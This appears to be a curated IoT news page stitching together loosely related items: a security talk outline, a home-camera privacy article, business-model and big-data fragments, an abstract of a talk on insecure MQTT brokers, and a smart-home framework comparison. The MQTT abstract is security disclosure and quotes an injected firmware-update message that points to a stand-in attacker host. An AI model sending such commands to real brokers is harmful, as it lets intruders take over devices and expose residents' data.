6 Iot Security Fundamentals That Need To Be Solved

This is "6 Iot Security Fundamentals That Need To Be Solved" presentation from the IoT conference in Lund

 

Internet of Things is still very immature. There is not even a consensus in what it means. It covers many different technologies like the new entrants wearables and connected household supplies, but also the very mature technologies in m2m. Vendors large and small hurry to launch products and take their stakes in this emerging markets. ITU-T standards and industry consortiums popping up everywhere that try to make some order in this chaos, but there are no common agreed uniform standards just yet.

 

So, if you start your IoT development projects today, there might not be one simple way of doing secure IoT. Different products and implementations require different solutions and strategies. A wearable will be something completely different from a connected medical device, or a Smart Home, or Smart City. However, there are some common characteristics that need to be handled as product design criterias from the start:

 

1. IoT products must die
2. Rosetta stone
3. Thanks for letting me in!
4. The fall of the wall
5. Rubber bands
6. The disappearing act

Butterfleye Is A Home Security Camera That Can Learn What Not To Record

In our over-surveilled digital times, putting an Internet-connected eye in your home could mean opening a peephole to unknown third parties. Or create a temptation for domestic spying. Which is not the definition of relationship trust, folks. Ergo security and privacy are key considerations for any startups working in such a sensitive area.

Butterfleye is tackling the privacy challenges inherent in offering to sell people a remotely controlled wireless lens by putting a processing layer on the device which it says can run analytics to intelligently detect who or what is in frame before recording and uploading any footage.   -  So, for instance, it could decide not to record the person who’s just walked into the room if that person actually lives in the house, for instance. Or the family pet is just being its usual, boisterous self rolling around on the living room carpet. It’s one way the team is aiming to set its connected hardware apart from existing rivals in the space — such as (the now Google-owned) Dropcam/Nest Cam.  “There is image algorithm analytics. There is audio analytics. The microphone can recognize certain sounds. For example dogs barking, kids crying. And we’re working on a glass breaking algorithm,” says Butterfleye founder and CEO Ben Nader, explaining the startup’s patent-pending ‘Activity Based Recording’ tech. “Then on the video side we have a technology like face detect, we have a technology like pets and human detect. And learning algorithms to learn ‘oh this home has a pet. And it’s normal for a pet to move around the house and not have any alerts’.”  “There have been some [other companies] who have been trying to play with this by doing some analytics in the cloud but the key value is doing the analytics at the camera level, before you’ve uploaded hours and hours of video,” he adds.  -  “If you need to upload all the video into the cloud to be able to tell ‘oh the living room is empty — don’t record’ you’ve already recorded. And how do you know when to wake up when something does happen?”   This on-device processing layer will allow users to customize the system to preserve the privacy of particular family members, according to Nader. It also means the device will only record selectively — capturing notable events, not everything, or even every motion — thereby minimizing the quantity of footage generated.

So, how do we define these terms? What is the core difference? Why does it matter – what is the implication on business models? And finally, which firms today embody these models?
First, the basics. Digital business models are inherently exponential in terms of value generation. Data drives powerful flywheel effect, and these business models often ‘tips over’ the markets and industries they operate in. I wrote about this at length in my previous blog (Digital – what is different about it?)
There are, however, three kinds of ‘exponential growth models’ correlating to different digital business models. It is important firms get that distinction right, as they pursue their digital strategy.

The article adds 8 Predictions on Big Data to the 17 Big Data Predictions listed by the analyst Bernand Marr (very interesting article linked and directly reachable). Marr summarizes and prioritizes many predictions coming from Forrester, IDC, Ovum, Gartner, etc. Now Robert Abate integrates them with additional 8. Strongly suggested to start from original Marr's article, then to complement with Abate's one. Abate's article contains also some comments/thoughts about The Four V's of Big Data, Best Practice of "Data Insights Process" and "The Need for Enterprise Information Management".

MQTT IoT protocol completely open to hack on public internet

MQTT IoT protocol completely open to hack on public internet | Mobility and IOT | Scoop.it
Lucas Lundgren Senior Security Consultant, FortConsult (Part of NCC Group)
Neal Hindocha Principal Consultant, FortConsult (Part of NCC Group)

The presentation will begin by discussing the protocol (http://mqtt.org/) and results from a simple query on shodan, showing the number of servers directly available on the internet. We will then go through the protocol specifications which shows that security is more or less non-existent. We are able to directly connect to many of the servers which are open to the internet, and following protocol specifications, see what devices they are communicating with.

We will show how its possible to extract data on all subscriptions available on the server using a ruby script, which basically gives a detailed list of the devices. However, it is not only the list of devices we are getting. The data returned by our script also contains things like session tokens (for web pages), social security numbers, phone numbers, names and other sensitive data used for one purpose or another in the communication to and from the devices.

We will show how messages can be posted into the message queues and in turn received by the devices that subscribe to the various queues. This means that we are able to issue commands targeting the range of devices we have discovered, that use this protocol. We have however also discovered that this is not limited to messages and commands, if supported by the device, we can actually issue firmware updated, simply by sending something similar to "FIRMWAREUPDATEHERE:http://www.attacker.com/filename.bin".

A specific example of what we can see and do is a home automation system we discovered. We got a list of every sensor and its status. Furthermore, we got exact GPS coordinates from the mobile app used to control the home automation. So in this case, not only were we able to control the system, we even knew when the owner was away.

The talk will move on to show various implementations where webclients and SQL servers are hooked in. Much of the communication data is stored in various databases, and because we have access, we can use MQTT to attack the database and web servers.

Multiple tools have been developed by us already to support testing the protocol and fuzzing endpoints. we will show the tools used in various demos and release them at the end of the talk! These tools are currently scripts containing various protocol implementations, that can be used to target servers and extract, or inject, data. We also have a small client that implements all interesting areas of the protocol which we use for server-to-client testing.

We believe this talk is going to have a significant impact on MQTT and anyone who uses it. This is an old protocol from 1999. Its fast and reliable, but its missing security.

We also be believe this talk will trigger a discussion about light-weight IoT protocols and security, which is much needed at this point in time.

An extremely important talk about the MQTT protocol used incorrectly over Internet. This protocol is widely used by IoT systems and it has NO security in itself. It must be added in the implementation, but this presentation shows that security has been completely neglected in many critical systems. Lucas shows how easy it is to gather data and manipulate, e.g. prisons, ATMs, Nuclear plants, smart homes, etc

Richard Platt's curator insight, August 25, 2015 11:48 PM

Apple's HomeKit, Google's Brillo, Intel's IoTivity, or Qualcomm's AllJoyn.   IoTivity:  Operating on a constrained application protocol (CoAP), Intel's IoTivity is being proposed by the Open Internet Consortium (OIC). Middleware that's focused on security, simplicity and rapid development, IoTivity has limited platform support – it doesn't support HTTP. However, it is open source since any device manufacturer can use it (Intel has relinquished control of it to the OIC).   "A central tenet of the open source movement is the need for open standards, and IoTivity provides a reference implementation of this standard," says Fletcher. "Open standards do not oblige anyone to adopt them but rather rely on being the most compelling implementation available."   AllSeen AllJoyn:  Qualcomm's AllSeen Alliance – a breakaway from the Open Internet Consortium – is pushing the AllSeen AllJoyn standard, which is already used by Panasonic multi-room audio systems and by LG's smart TVs (both companies are members). It natively supports common platforms like iOS, OS X, and even Windows 10, though this wide support does bring some complexity. There are also some worries over security.

"From a technical point of view AllSeen AllJoyn would be the most attractive framework to work with," says Fletcher, who adds that he expects Brillo/Weave and IoTivity will eventually meet halfway, or support one another seamlessly.   Given the appearance of HomeKit and Brillo, IoTivity and AllJoy probably have a bigger future outside of the home. "IoTivity and AllJoyn will receive more attention within the industrial application sphere where the demands of the specific application will require either the interoperability of AllJoyn or the rapid development environment of IoTivity – or eventually Brillo/Weave," says Fletcher.   

Who will win?  "Apple or Google will be the first companies to achieve that, since both companies already have their own ecosystem of devices, thus a reason to push towards such technologies," says Aiginitis, who can foresee a situation where some might be using iFridges that are connected with the Apple framework of our iHome. However, Google Brillo gets the rod as the dominant smart home framework of the future. "I would personally give the lead to Google, since it recently acquired Nest and has a wider range of products under the Android family," says Aiginitis.  As always, the market will decide, but don't expect one single platform to emerge. "The vastness of the opportunities relating to IoT may well mean that there is sufficient space to support two or three dominant frameworks, as well as a range of more specialist ones," adds Fletcher.   It is, however, very early days. "Since we are only a few seconds after the starting pistol of this race sounded," says Aiginitis, "the next few years will be full of surprises."
